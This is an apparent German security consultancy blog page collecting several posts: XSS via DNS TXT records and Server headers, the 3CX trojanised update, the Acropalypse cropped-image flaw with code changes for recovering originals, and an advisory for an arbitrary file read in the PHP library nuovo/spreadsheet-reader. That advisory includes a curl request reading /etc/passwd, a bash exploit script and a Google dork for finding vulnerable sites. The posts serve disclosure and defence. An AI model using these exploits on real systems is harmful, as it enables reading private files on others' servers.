Kategorie: Themen

Advisories, Allgemein, Penetrationstest, Themen

XSS auf Abwegen

Cross-Site-Scripting (XSS) ist ansich eine altbekannte Schwachstelle, die in den meisten gängigen Frameworks mittels Eingabevalidierung standardmäßig mitigiert wird. Auch viele Individualanwendungen im Netz behandeln Eingabefelder, die von Dritten ausgefüllt werden, inzwischen sehr vorsichtig.

Zweckentfremdete DNS-Records

Dass derartige Angriffsvektoren oft auch von unerwarteter Seite kommen, zeigte sich, als ich nach der Lektüre des sehr lesenswerten Artikels The Joy of TXT von Peter Lowe ein wenig mit meinen DNS-Einträgen herumspielte – und prompt auf verschiedenen Seiten, die TXT-DNS-Records auslesen und anzeigen, mit meinen eigenen Popups begrüßt wurde.

TXT-Records werden oft für Validierungszwecke eingesetzt, die über die Standard-DNS-Records nicht abgedeckt werden können. Hierzu zählen meist SPF-, DMARC- und DKIM-Einträge sowie verschiedene Validierungen von Drittanbieter-Services. Unter anderem kann ein derartiger Eintrag zum Beispiel von LetsEncrypt genutzt werden, um die Domain zu verifizieren.
Doch die Möglichkeiten sind praktisch unbegrenzt. TXT-Records können, wie im Artikel beschrieben, sogar relativ große Mengen an Text bereitstellen. Und damit natürlich auch Javascript-Snippets, die auf abfragenden Webseiten mit XSS-Schwachstellen dafür sorgen können, dass Code im Webbrowser angezeigt wird.

Die bekanntesten Anbieter für DNS-Validierungsdienste und artverwandte Services entschärfen derartige Einträge standardmäßig. Auf der Webseite wird der bereinigte Inhalt der TXT-Records angezeigt, das Script kommt nicht zur Ausführung. Doch Ausnahmen bestätigen die Regel: Einige Anbieter scheinen davon auszugehen, dass von dieser Seite keine Gefahr droht und binden die Inhalte ungefiltert im Browser ein – unerwünschten Code inbegriffen.

Unübliche Server-Header

Bei meiner Recherche stieß ich auf eine weitere oft unvalidierte Quelle von fremdem Input: Server-Header. Auch hier wird bei den meisten Anbietern viel vorgefiltert, doch eben nicht bei allen. Und während das Einfügen von Javascript-Code in den meisten Standard-Headern vermutlich zu sehr unvorhersehbarem Verhalten führen würde, gibt es mindestens einen Header, der offensichtlich noch harmlos genug erscheint, um ihn ungefiltert wieder auszugeben: Der “Server”-Header.

Wer sich ein wenig mit den üblichen Verdächtigen Apache, Nginx und IIS auseinandergesetzt hat, wird sicherlich bemerkt haben, dass das Ändern des Server-Headers nicht ganz trivial ist, was diese Wahrnehmung möglicherweise bestärkt. Und während böswillige Aktoren zwar das Wissen haben mögen, wie man den Quellcode eines Webservers anpasst und ihn neu kompiliert, scheint das doch ein recht sperriger Weg zu sein. Doch es gibt mindestens für den Apache Möglichkeiten, den Server-Header nahezu komplett umzuschreiben – kurioserweise mittels des Standard-Moduls “security2”, also known as “modsecurity”.

So gelingt es in einigen Fällen relativ einfach, JavaScript auf Seiten, die Server-Header anzeigen, im Browser zur Ausführung zu bringen. Abhilfe schafft auch hier nur serverseitige Filterung – oder ein Scriptblocker auf Clientseite, der oft aber auch die Funktionalität der Webseite beeinträchtigt, da der eingeschleuste Inhalt ebenfalls im Kontext der Webseite ausgeführt wird. Ein Scriptblocker kann das fremde Script nicht von den regulär eingebundenen Scripten unterscheiden.

Eingeschränkt sinnvoll: Der User Agent

Eine eher esoterische Möglichkeit, Scripte im Browser zu injizieren, ist die Manipulation des User Agent des verwendeten Browsers. Dies kann relativ simpel über Add-Ons geschehen, führt aber in vielen Fällen dazu, dass Aufrufe von Webseiten fehlschlagen. Schuld ist hier ein vorgelagerter Security-Proxy oder – Kuriosum Nummer zwei – das bereits erwähnte “security2”-Modul im Apache. Diese Maßnahmen erkennen das Script im User Agent und sperren den aufrufenden Browser direkt aus.

Der Nutzen dieser Variante ist hingegen fraglich: Sie muss auf dem lokalen Client eingestellt werden und betrifft damit auch nur diesen. Für Angriffe auf Fremdsysteme ist sie unbrauchbar. Man benötigt also bereits Zugriff auf das anzugreifende System – ein Henne-Ei-Problem. Zum Testen der serverseitigen Validierung und aktiver Sicherheitsmechanismen taugt die Methode jedoch allemal. Vorausgesetzt, dass der Server den User Agent auf einer seiner Seiten auch anzeigt.

Fazit: Vertraue niemandem!

Gelingt es, jemanden dazu zu bringen, eine verwundbare Seite aufzurufen und die präparierte Domäne in das entsprechende Textfeld einzutragen, ist ein erfolgreicher Angriff durchaus wahrscheinlich. Und einem Hilferuf in einem beliebigen Supportforum, die Validierungsseite zeige beim eigenen Server Fehler an, können viele Techies nicht widerstehen. Manche Webservices erlauben sogar das Angeben der zu überprüfenden Domäne über einen URL-Parameter, das manuelle Eingeben der Domain entfällt durch den Klick auf den Link damit komplett. Dass derartige Seiten Fremdcode einbetten vermutet auch in der technisch versierten Community bei weitem nicht jeder. Und da diejenigen, die sich gerne als Helfer in Support-Foren tummeln, oft auch in der technischen Administration in Unternehmen tätig sind, ist der Sprung zu Supply-Chain-Attacken nicht nur theoretisch denkbar.
Selbstverständlich können auf Seiten des potenziellen Opfers Virenscanner und Scriptblocker aktiv sein und den Angriff abfangen, doch dieses Risiko geht ein Angreifer immer ein.

Es zeigt sich jedenfalls wieder, dass generell bei jedem Input, bei jeder Variable, bei jedem Datenbankeintrag, der nicht vom eigenen System(-verbund) kommt, Vorsicht geboten ist. Eine zusätzliche Absicherung der Systeme, beispielsweise mittels Web Application Firewall, Security-Modulen oder vorgelagerten Prüfsystemen, sollte Standard sein. Zusätzliche Sicherheit bietet beispielsweise eine restriktive Content Security Policy (CSP), die das Ausführen von Inline-Scripten und das Nachladen von fremden Domains im Browser komplett unterbindet.

Schwachstelle

Wenn der Patch zum Trojaner wird

Die Desktop-Anwendung des VoIP-Telefonie-Herstellers 3CX wurde Ende März trojanisiert. Der Definition für Malware vom Typ „Trojanisches Pferd“ folgend, tat die Software, was sie eigentlich sollte – brachte aber zusätzliche Schadfunktionen mit. Ein sehr schwacher Trost für die Mehrzahl der Betroffenen mag sein, dass sie nicht das eigentliche Ziel des Angriffs waren. Und obwohl das auf den ersten Blick sehr beruhigend klingen mag, erforderte die Kompromittierung einer Großzahl ihrer Clients auch für diese Betroffenen selbst umfangreiche Maßnahmen, um das Ausmaß des Schadens zu bestimmen und trojanisierte Systeme neu aufzusetzen.

Betroffen sind die Versionen Update 6 und 7 für MacOS sowie Update 7 für Windows. Sie wurden bereits beim Hersteller modifiziert und typischerweise automatisch über die eingebaute Update-Funktion der Desktop-Anwendung installiert. Bereinigte Versionen stehen inzwischen bereit. Alle, für die Patchmanagement nicht nur das schnelle, ungeprüfte Installieren von Updates ist, fühlen sich jetzt sicherlich bestätigt. Das IT-Grundschutz-Kompendium fordert in OPS.1.1.3.A15 auch: „Es MUSS entschieden werden, ob der Patch eingespielt werden soll.“

Aber hätte man die Trojanisierung des Software-Updates auf einem Testsystem erkennen können? Beim Beobachten des Netzwerkverkehrs hätte man zuvor nicht vorhandene Verbindungen bemerken können – allerdings haben die Angreifer dafür extra Domainnamen reserviert, die man leicht einem legitimen Zweck zugeordnet hätte. Man hätte auch über die Art und Weise stolpern können, wie ein Teil der Malware in den DLLs der legitimen Software versteckt wurde: Während der erste Teil (der Loader) vom Hersteller unwissentlich direkt in eine DLL-Datei einkompiliert war, wurde der zweite Teil so an eine signierte DLL-Datei angehängt, dass die Authenticode-Signatur weiter gültig ist. Das sich Signaturen so leicht austricksen lassen sollen, klingt nach einem Fehler – und tatsächlich gibt es dagegen bereits seit 2013 einen Patch von Microsoft. Vermutlich ist der Patch auf Ihrem Testsystem aber nicht installiert, denn er wurde kurz nach der Veröffentlichung als „optional“ gekennzeichnet. Zu viele Nutzer meldeten legitime Software, die plötzlich nicht mehr die Signaturprüfung bestand. Auch das ist ein „schwieriger“ Teil des Patchmanagements –die positiven wie negativen Auswirkungen auch von solchen Updates zu prüfen, die der Hersteller nur eingeschränkt empfiehlt.

Mit der Patchmanagement-Brille betrachtet, bleibt als Krux festzuhalten: Ein vom Hersteller empfohlenes Update, das man besser nicht installiert hätte, traf auf ein vom Hersteller nicht uneingeschränkt empfohlenes Update, das man besser installiert hätte.

Hintergrund zum trojanisierten 3CX-Desktop-Client:

Hintergrund zu der manipulierbaren Authenticode-Signatur:

Advisories, Schwachstelle

“Acropalypse” NOW!

Aufgrund einer Schwachstelle in der Bildverarbeitungssoftware von Google-Pixel Smartphones (Package-ID „com.google.android.markup“) und dem Windows 11 Snipping-Tool (unter Windows 10 genannt „Ausschneiden und skizzieren“) können aus einem beschnitten Bild („cropped image“) große Teile des Originalbilds wiederhergestellt werden. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese durch fremde Personen auslesen und für bösartige Absichten verwenden.

Hintergrund

Aufgrund einer Schwachstelle in der Bildverarbeitungssoftware von Google-Pixel Smartphones (Google Markup) und dem Windows 11 Snipping-Tool (unter Windows 10 genannt „Ausschneiden und skizzieren“) können aus einem beschnitten Bild („cropped image“) große Teile des Originalbilds wiederhergestellt werden. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese durch fremde Personen auslesen und für bösartige Absichten verwenden.

Simon Aarons und David Buchanan fiel auf, dass dies bei beschnittenen Fotos auf Google Pixel Smartphones nicht der Fall zu sein scheint. Das Smartphone zeigte zwar ausschließlich den beschnittenen Bildbereich an, dennoch blieb die Dateigröße nahezu unverändert. Dies legte den Verdacht nahe, dass die originalen Bildinformationen noch vorhanden sein könnten.

Ihre Analyse ergab, dass beim Speichern des beschnittenen Bildes tatsächlich nicht das alte Bild gelöscht wird Stattdessen wird mit dem neuen, kleineren Bildausschnitt nur der Beginn des alten Bildes überschrieben. Die alten Bildinformationen sind jedoch weiterhin in großen Teilen vorhanden. Aarons und Buchanan entwickelten daraufhin ein Web-Tool mit dem sich das ursprüngliche Bild aus dem einem beschnittenen weitestgehend rekonstruieren lässt. Die Schwachstelle hat trägt die offizielle CVE-ID „CVE-2023-21036“.

Die folgende Abbildung soll den Unterschied zwischen erwartetem Ergebnis und tatsächlichem Ergebnis veranschaulichen. Die „IEND“-Byte-Folge markiert in einer PNG-Datei die Stelle an dem das Ende der Bildinformationen erreicht ist.

Bildbetrachtungsprogramme haben mit dem Anzeigen der Variante (2) des Bildes kein Problem, da die IEND-Byte-Folge korrekt hinter dem beschnittenen Bildausschnitt gesetzt wurde. Aus Sicht der Image-Tools handelte es sich um ein syntaktisch korrekte PNG-Datei. Informationen nach dem IEND werden einfach ignoriert. Mittlerweile wurde eine Sicherheitslücke im Microsoft Snipping-Tool entdeckt, welche sich analog ausnutzen lässt. Wir haben dies zum Anlass genommen weitere Tools auf diese Art von Schwachstelle hinzu untersuchen, jedoch war keines davon anfällig. Die folgenden Tools wurden untersucht:

ToolVersion
IrfanView4.62
Greenshot1.2.10
XnView MP1.4.3
ShareX15.0
Durch die HiSolutions auf “Acropalypse”-Anfälligkeit untersuchte Tools

Zur Untersuchung haben wir die Dateigröße von Originaldatei und zugeschnittener Datei verglichen. Haben beide die gleiche Größe ist der Fehler sehr wahrscheinlich, da eine zugeschnittene Datei mit weniger Bildinhalt entsprechend weniger Speicherplatz benötigen sollte. Bei allen getesteten Tools war die Dateigröße der beschnittenen Datei deutlich kleiner als die der Originaldatei.

Da die Google-Pixel App und und das Microsoft Snipping-Tool eine unterschiedliche Code-Basis verwenden, gehen wir davon aus, dass es sich um einen vergleichbaren Logikfehler bei der Programmierung handelt: Beide Tools schreiben den kleineren Inhalt in die größere Originaldatei ohne die Restlänge der Datei verwerfen. Hinweis auf eine Schwachstelle, welche durch eine anfällige, gemeinsam genutzte Bibliothek entstanden ist, können wir nicht erkennen.

Proof-of-Concept

Das folgende Beispiel zeigt, wie aus einem, auf einem Google Pixel beschnittenes Bild, das Originalbild wiederhergestellt wird (pixel_cropped.png, pixel_original.png). Für die Wiederherstellung wurde dieses Script verwendet.

Das folgende Beispiel zeigt, wie aus einem, mit dem Windows Snipping-Tool beschnittenem Bild, das Originalbild wiederhergestellt wird (windows_cropped.png, windows_original.png).

Da das Snipping-Tool RGBA statt RGB als PNG Image Type verwendet, muss der oben verlinkte Code leicht angepasst werden, um auch hier das Original wiederherzustellen. Die Änderungen betreffenen die folgenden Zeilen:

132c132
< ihdr += (2).to_bytes(1, "big") # true colour
---
> ihdr += (6).to_bytes(1, "big") # true colour with alpha
140c140
< reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff" * orig_width) * orig_height)
---
> reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff\xff" * orig_width) * orig_height)
149c149
< for i in range(0, len(reconstructed_idat), orig_width*3+1):
---
> for i in range(0, len(reconstructed_idat), orig_width*4+1):

Voraussetzung zur Ausnutzung

Nach Kenntnisstand vom 22.03.2023 müssen die folgenden Voraussetzungen gegeben sein, um eine anfällige Bild-Datei zu erhalten.

  • Das Bild muss mit einer anfälligen Software bearbeitet worden sein.
  • Nach aktuellem Kenntnisstand ist ausschließlich die nachträgliche Wiederherstellung aus PNG-Bildern möglich.
  • Die beschnittene Bilddatei, darf nicht nachträglich komprimiert worden sein, da sonst die verborgenen Bildinformationen entfernt werden.  Dies geschieht jedoch beim Upload auf online-Plattformen häufig automatisch.
  • Für die Rekonstruktion muss die Bildgröße des unbeschnittenen Originalbildes bekannt sein. Diese kann jedoch durch geschicktes ausprobieren von Standard-Displayauflösungen erraten, z. B. Full HD (1920 × 1080 Pixel), oder durch zusätzliche Metainformationen wie beispielsweise dem Handymodell ermittelt werden.

Auswirkungen

Personen mit Zugriff auf mit einer anfälligen Software beschnittene Bilder können große Teile des Originalbildes wiederherstellen. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese möglicherweise wieder sichtbar machen und für bösartige Absichten verwenden.

Der Grund dafür dass manche Bildinformationen verloren gehen, ist dem Aufbau des PNG-Dateiformats geschuldet. Bildinhalte werden in einer Sequenz sogenannter IDAT-Chunks gespeichert. Beim Speichern des beschnittenen Bildes über den Datei-Anfang des Originals werden bestimmte Teile des Originalbildes überschrieben. IDAT-Chunks die auf diese Weise verändert bzw. beschädigt werden können nicht korrekt wiederhergestellt werden, was zu einer wirren oder leeren Pixelfläche im wiederhergestellten Bild führt.

Gegenmaßnahmen

Wurden sensible Bilder mit einem der genannten Tools beschnitten und veröffentlich, dann sollten diese nach Möglichkeit von der betroffenen Plattform gelöscht werden. Dies ist jedoch nur notwendig, wenn die Bilder auf der Plattform unkomprimiert veröffentlicht sind (siehe „Voraussetzung zur Ausnutzung“).

Betroffene Bilddateien können repariert werden, indem das Bild in einem anderen Format (z. B. JPEG) gespeichert wird. Hierdurch werden die verborgenen Dateiinhalte abgeschnitten.

Google hat bereits reagiert und ein Update für seine Pixel-Smartphones veröffentlicht. Dieses sollte umgehend eingespielt werden. Bei der Verwendung des Microsoft Snipping-Tools sollten beschnittene Bilder als neue Datei unter einem anderen Dateinamen gespeichert werden. Dadurch wird verhindert, dass lediglich das alte Bild unsauber überschrieben wird. Ein Patch wurde zum aktuellen Zeitpunkt noch nicht veröffentlicht.

Beitragsbild: Keine Informationssicherheit, kein Job mehr
Allgemein, ISMS, Risikomanagement

Keine Informationssicherheit, kein Job mehr

Wer lange genug in der IT-Sicherheit unterwegs ist, kennt mehr als eine Situation, in der Hinweise und Vorgaben zur IT-Sicherheit mit einem selbstbewusst geäußerten „Keine Lust“, „Haben wir noch nie so gemacht“ oder „Erklären Sie mir nicht meinen Job“ zur Seite geschoben wurden.

Rechtsanwalt Jens Ferner berichtet von einem Fall, der am Ende gerichtlich ausgefochten wurde. Konkret ging es um eine nicht abgeschlossene Schreibtischschublade, in der sich Kundenakten mit Finanzdaten befanden. Eine Schublade klingt nicht direkt nach IT-Sicherheit, aber die entsprechende Clean-Desk-Regelung war Teil der Vorgaben zur Informationssicherheit. Der Verstoß dagegen wurde vom Landesarbeitsgericht Sachsen als so schwer bewertet, dass er eine Abmahnung bzw. wie im konkreten Fall wegen Wiederholung sogar die Kündigung rechtfertigte.

Umgekehrt kann auch eine zu laxe Handhabung von Informationssicherheit zum Jobverlust führen. In vielen Fällen, in denen wir Kunden bei der Bewältigung von Sicherheitsvorfällen unterstützen, stehen die Existenz des Unternehmens und damit auch Arbeitsplätze auf dem Spiel.

Beide Aspekte unterstreichen, dass ein gelebtes Informationssicherheitsmanagement mehr als nur viele geduldige Seiten Text bedeutet.
https://www.ferner-alsdorf.de/wirksame-kuendigung-bei-verstoss-gegen-richtlinie-zur-informationssicherheit/

Link zur Rechtsprechung: https://dejure.org/dienste/vernetzung/rechtsprechung?Gericht=LAG%20Sachsen&Datum=07.04.2022&Aktenzeichen=9%20Sa%20250%2F21

Schwachstelle

Wenn der White-Hat-Hacker anruft, aber niemand rangeht

Stellen Sie sich vor, ein findiger Mensch hat eine Sicherheitslücke bei Ihnen entdeckt. Wenn er oder sie jetzt Ihre Organisation darauf aufmerksam machen möchte: Wo würde die Information initial landen? Wie gut sind die Chancen, dass sie fachkundig bewertet und nicht als Werbung wegsortiert wird? Wer würde entsprechende Maßnahmen ergreifen? Und wer übernimmt die Kommunikation mit den Entdeckern – oder werden sie am Ende gar keine Antwort erhalten?

Die Erfahrungen der Entdeckerseite beschreibt ein Artikel in der „Zeit“ vom 19.01. Die Autoren hatten bei 15 Hochschulen Sicherheitslücken identifiziert. Im Artikel beschreiben sie die schnellen und positiven Reaktionen einiger Sicherheitsverantwortlichen, aber auch die Schwierigkeiten, überhaupt einen Ansprechpartner zu finden oder ein Feedback zu erhalten. Wer schon länger in der IT-Sicherheit unterwegs ist, kennt diese Problematik. Wie viele Advisories oder Artikel in Fachmedien zu Sicherheitslücken haben wir schon gelesen, die mit den Worten endeten: „Vom Hersteller gab es bis zur Veröffentlichung keine Reaktion“?

Auch wir erleben im Rahmen unseres Responsible-Disclosure-Prozesses sehr unterschiedliche Reaktionen auf unsere Meldungen. In einer Studie 2018 haben wir eine Lücke bei insgesamt 3.000 Betroffenen identifiziert und gemeldet. Lediglich 30 % davon reagierten mit der Schließung ihrer Lücke – andere Studien mit Warnungen von vielen Betroffenen kommen zu vergleichbaren Ergebnissen.

Aber zurück zu Ihrer Organisation: Sollten Sie immer alles stehen und liegen lassen, wenn eine Meldung beim Empfang eingeht? Auch hier erleben wir sehr unterschiedliche Situationen, wenn wir Kunden beraten. Natürlich kennt ein externer Sicherheitsforscher – anders als ein Auditor – die konkreten Sicherheitsziele Ihrer Organisation und die Kritikalität der einzelnen Systeme nicht im Detail. Daher wird meist vom schlimmsten Fall ausgegangen, und die Befunde entsprechend hoch eingestuft – gelegentlich auch zu hoch gegenüber einer näheren Betrachtung der Lücke und des Schadenpotenzials. Eine fachkundige Bewertung ist also immer zwingend nötig und daraufhin eine überlegte Reaktion – sowohl bei der Auswahl der getroffenen Maßnahmen als auch bei der Kommunikation mit den Meldenden.

https://www.zeit.de/2023/04/it-sicherheit-hochschule-sicherheitsluecken-hacker

HiSolutions Research
Advisories, Allgemein, Penetrationstest, Schwachstelle

Arbitrary File Read vulnerability – PHP library nuovo/spreadsheet-reader 0.5.11

Within the scope of a penetration test HiSolutions‘ security consultants discovered an arbitrary file read vulnerability in the spreadsheet-reader library by nuovo. The vulnerability was reported before by another security researcher on 17th Dec 2020 but does not have gotten any attention by the author since. After unsuccessful attempts to contact the author via different channels, HiSolutions decided to release exploit details without further actions. The vulnerability affects the current version 0.5.11 which is the latest version since 2015. It may affects earlier versions as well.

Update: As of April 2023, this vulnerability was assigned CVE-2023-29887.

Background Information

The spreadsheet-reader library by nouvo is a widely used PHP software which is used to read out XLS, XLSX, ODS and variously separated text files. The project is hosted on Github and got a decent number of 660 stars and 494 forks. Furthermore it is listed on Packagist, a known PHP package repository, and was downloaded over 500.000 times. Using dependency managers like composer, the vulnerable library obviously found its way into various PHP websites (see Google dork in section “impact” for more information).

The vulnerability

The software ships with a “test.php” file located in the root-directory if the project. The PHP file can be called with the parameter “File” via HTTP GET. Due to the lack of security checks arbitrary paths can be passed as a value for the File parameter:

curl http://127.0.0.1/vendor/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd

As a result from the request above, the contents of the etc/passwd file get returned as a nested PHP array:

---------------------------------
Starting memory: 670416
---------------------------------
---------------------------------
Spreadsheets:
Array
(
    [0] => passwd
)
---------------------------------
---------------------------------
---------------------------------
*** Sheet passwd ***
---------------------------------
0: Array
(
    [0] => root:x:0:0:root:/root:/bin/bash
)
Memory: 3000 current, 719760 base
---------------------------------
1: Array
(
    [0] => bin:x:1:1:bin:/bin:/sbin/nologin
)
Memory: 3232 current, 719992 base
---------------------------------
2: Array
(
    [0] => daemon:x:2:2:daemon:/sbin:/sbin/nologin
)
Memory: 3224 current, 719984 base
---------------------------------
3: Array
(
    [0] => adm:x:3:4:adm:/var/adm:/sbin/nologin
)

[...]

To display only the actual file content and filter out the “noise” around the output, use the following script:

#!/bin/bash

## usage:
# $ spreadsheet-reader-exploit.sh URL FILEPATH
# $ http://127.0.0.1/vendor/nuovo/spreadsheet-reader ../../../../../../../../../../../etc/passwd

SPREADSHEET_FOLDER_URI=$1
FILEPATH=$2
TMP=/tmp/spreadsheesh.txt

curl -s "${SPREADSHEET_FOLDER_URI}/test.php?File=${FILEPATH}" -o ${TMP}
cat ${TMP} | grep ] | cut -d ">" -f 2- | grep -v '^[[:space:]]*$'

Impact

The vulnerability is trivial to exploit. Attackers are able to read arbitrary files from the servers file system with the privileges of the PHP process.

The following google dork shows that multiple websites are online, using the vulnerable composer package:

inurl:"/nuovo/spreadsheet-reader" (Link)

Remediation

As a quick fix the test.php file should be deleted. This would stop attackers to exploit the vulnerability using the default file.

Nevertheless, the vulnerability is not limited to the default test.php file. The root cause of the problem is that the application itself does not sanitize or normalize the passed path-parameter when reading out files from the file system. Therefore, your software must sanitize the path manually before passing it to the library.

Since the project has not received any updates since 2015, despite many open Github (security) issues, it can be assumed that it is not under active development anymore. Therefore, we recommend to use an alternative library.

Responsible Disclosure Timeline

  • 17.12.2020 – The user “liquidsec” first reported an arbitrary read vulnerability discovered in a penetration test.
  • 30.03.2022 – Independent discovery of the vulnerability by HiSolutions within the scope of a penetration test.
  • since 29.04.2022 – HiSolutions contacted the author through Github, Facebook and LinkedIn.
  • 13.01.2023 – Since the author did not respond to any of the messages, HiSolutions decided to disclose the exploitation details.

Credits

The vulnerability was found by Ronny Dobra (HiSolutions AG).

Passwörter, Schwachstelle

Doch lieber Zettel unter der Tastatur? Sicherheitslücken in Passwortmanagern

Natürlich ist das berühmte (und leider auch in einigen unserer Audits anzutreffende) Post-it am Monitor oder unter der Tastatur keine Lösung zum Speichern von Passwörtern. Passwortmanager sind angetreten, um das Problem zu lösen, dass sich Menschen nur wenige technisch sichere Passwörter merken können. Auch wir empfehlen die Nutzung regelmäßig, da so für jeden Dienst und jedes System ein individuelles, und vor allem auch bei Brute-Force-Angriffen sicheres Passwort leicht erzeugt werden kann. Gleichzeitig wird der Passwortmanager damit zu einem Generalschlüssel und lohnenden Ziel für Angreifer – ein neues Risiko, das man berücksichtigen muss.

Mehrere Vorfälle in der Vorweihnachtszeit haben gezeigt, wie real dieses Risiko werden kann. Die meiste Beachtung fand der Sicherheitsvorfall beim Anbieter LastPass. LastPass informierte die Nutzer bereits im August über den Vorfall. Zum damaligen Zeitpunkt ging man aber davon aus, dass die Angreifer zwar Zugriff auf Entwicklersysteme hatten, Nutzerdaten und gespeicherte Passwörter aber nicht betroffen waren. Im Dezember musste LastPass nun auch Zugriffe auf Back-ups von Kundendaten einräumen. Die Passwortdatenbanken lassen sich zwar nur mit Kenntnis des Master-Passworts des jeweiligen Nutzers öffnen. Aber damit sind wir wieder beim initialen Problem: Menschen sind meist nicht gut im Ausdenken und Merken von technisch sicheren Passwörtern.

Das Risiko besteht nicht nur bei Online-Passwortmanagern: Die Kollegen von ModZero fanden bei der OnPremise-Lösung PasswordState gleich mehrere Lücken. Kombinierte ein Angreifer ohne Zugangsdaten diese geschickt, konnte er beliebige Zugangsdaten auslesen und auch überschreiben. Die Lücken sind bereits behoben – wenn man das Update von Anfang November eingespielt hat.

https://blog.lastpass.com/2022/12/notice-of-recent-security-incident/

https://www.modzero.com/modlog/archives/2022/12/19/better_make_sure_your_password_manager_is_secure

HiSolutions Research
Allgemein, Malware, Security Engineering

Vom Berater bis zum Angreifer: Computer übernehmen die Jobs

Ende November gab die Firma OpenAI den Prototypen ihres Chatbots ChatGPT zum Ausprobieren durch die Community frei und die nutzte die Adventszeit für viele spannende und teils erschreckende Experimente. Was ist ChatGPT eigentlich? Tatsächlich, wie der Name sagt, ein Chatbot, den man mit Fragen zu recht komplexen Antworten bringen kann. Wie in einem Fachgespräch üblich, kann man ihn durch weitere Fragen oder Änderungswünsche die Antworten ergänzen und verbessern lassen. Der Chatbot kann nicht nur Texte schreiben, sondern auch einfache Programme entwickeln.

Vorsicht ist jedoch angesagt, damit der Bot seine Ergebnisse nicht zu sehr nach den vermeintlichen Wünschen des Fragestellers ausrichtet. Bei Tests mit typischen Beratungsfragen, also den Fragen, die ohne Kontext immer mit „Es kommt darauf an“ beantwortet werden, konnte ChatPGT sehr überzeugend beide Sichten begründen – allerdings ohne auf die jeweils andere Option einzugehen. Fragt man beispielsweise, wie mit schwachen SSL-Cipher-Einstellungen umgegangen werden soll, bekommt man je nach Fragestellung diese Antworten:

Für die Einordnung der Ergebnisse der künstlichen Intelligenz ist dann doch wieder Fachwissen nötig.

ChatGPT kann aus einer kurzen Beschreibung heraus auch ein passendes Programm entwickeln. Das interessiert natürlich auch potenzielle Malware-Autoren. Die Kollegen von Check-Point haben in Foren erste Hinweise in Foren gefunden, dass mit Malware aus ChatGPT-generiertem Code experimentiert wurde. Ob sich das Entwicklungsmodell bei den Malware-Autoren durchsetzt oder diese Malware am Ende sogar leichter erkennbar sind, wird die Zukunft zeigen.

https://www.heise.de/news/ChatGPT-Maechtige-Waffe-in-Haenden-von-Skriptkiddies-7452741.html

Risikomanagement

Compliance-Bingo und Checklisten-Fetisch? Die Suche nach nachhaltiger Security

Hundertprozentige Security gibt es nicht, wie wir alle wissen. Daher macht es wenig Sinn, Vorfälle zu zählen, um den Erfolg eines Security-Programms zu bewerten. Woher weiß ich aber sonst, ob ich auf dem richtigen Weg bin?

Eine gleichzeitig schwammige und konkrete Antwort darauf, was umzusetzen ist, gibt der Begriff „Stand der Technik“. Zwar gibt es keine objektiven harten Vorgaben in Bezug auf Ziele, Tools oder Technologien, wenn ich allerdings etwa meine, ohne Authentifizierung oder Backup auszukommen, sollte ich gute Argumente haben, wenn etwas anbrennt.

Das kann so weit gehen, dass Konzerne viele Security-Funktionen im Wesentlichen deswegen im Einsatz haben, um sich moralisch abzusichern, falls etwas schiefgeht: „Erst wenn du den Gartner Hype Cycle einmal rauf- und runtergekauft hast, sind du und dein Job auf der sicheren Seite.“

Darüber hinaus stellt sich aber auch die Frage, wie die Umsetzung geschehen soll, also welche Qualität und Intensität ausreichend ist. Das Zauberwort hier ist „Sorgfaltspflicht“ (Englisch „Due Diligence“) – und die sollte ich im Notfall nachweisen können.

Um auch langfristig in Bezug auf die Security voranzukommen, innerhalb einer Organisation wie auch gesamtgesellschaftlich, braucht es allerdings noch ein drittes Prinzip: Das Ganze kann nicht funktionieren, wenn wir dauerhaft technische Schulden anhäufen. Zwar wissen wir heute nicht, welche kritischen Schwachstellen in nächster Zeit auftauchen. Aber solange wir immer mehr technische Altlasten sammeln, wächst das Risiko, dass uns eine davon kalt erwischt.

https://www.heise.de/meinung/Kommentar-Angriffe-lassen-sich-nicht-vermeiden-uebernehmt-die-Verantwortung-7328918.html

ICS

Caught in the Act of Product Security: EU Cyber Resilience Act

Seitdem 2015 das IT-Sicherheitsgesetz in Kraft getreten ist, hat sich in der Regulierung zur Cybersicherheit viel getan. Immer mehr Sektoren wurden mit Anforderungen und Auflagen belegt, und neue Zielgruppen sind in den Fokus gerückt.

Allerdings hat sich die Aufmerksamkeit dabei bisher weitgehend auf die Betreiber von IT und OT gerichtet. Dies ist insofern unzureichend, als bestimmte Probleme ohne die Mitwirkung der Hersteller und Zulieferer nicht gelöst werden können. Diese Lücke möchte die EU nun mit dem Cyber Resilience Act schließen.

Die im Entwurf vorliegende Richtlinie sieht vor, dass Security Teil des CE-Kennzeichens wird. Dies betrifft alle Produkte „mit digitalen Elementen“, die in der EU in Verkehr gebracht werden. Security würde damit erstmals eine offiziell geforderte und zu zertifizierende Produkteigenschaft, inklusive beizulegender „SBOM“ (Software Bill of Materials, einer Auflistung aller verwendeten Softwarekomponenten) und der Pflicht zur Bekanntgabe ausgenutzter Schwachstellen innerhalb von 24 Stunden.

Zwar ist noch unklar, wie die Richtlinie durch die Mitgliedsstaaten, die Hersteller und den Markt am Ende umgesetzt wird, doch könnte sie durchaus geeignet sein, der Security in Produkten nachhaltig Schwung zu verleihen. Vorausgesetzt, sie wird bis zur Verabschiedung nicht noch verwässert.

P.S.: Unter “Produktsicherheit” wird im Deutschen heute (noch?) weitgehend Safety verstanden. Das könnte sich zukünftig ändern, wenn Security ein gleichwertiger Bestandteil der –> Product Security wird.

https://www.taylorwessing.com/en/insights-and-events/insights/2022/10/the-cyber-resilience-act

https://fluchsfriction.medium.com/eu-cyber-resilience-act-german-version-ae2ed6166aea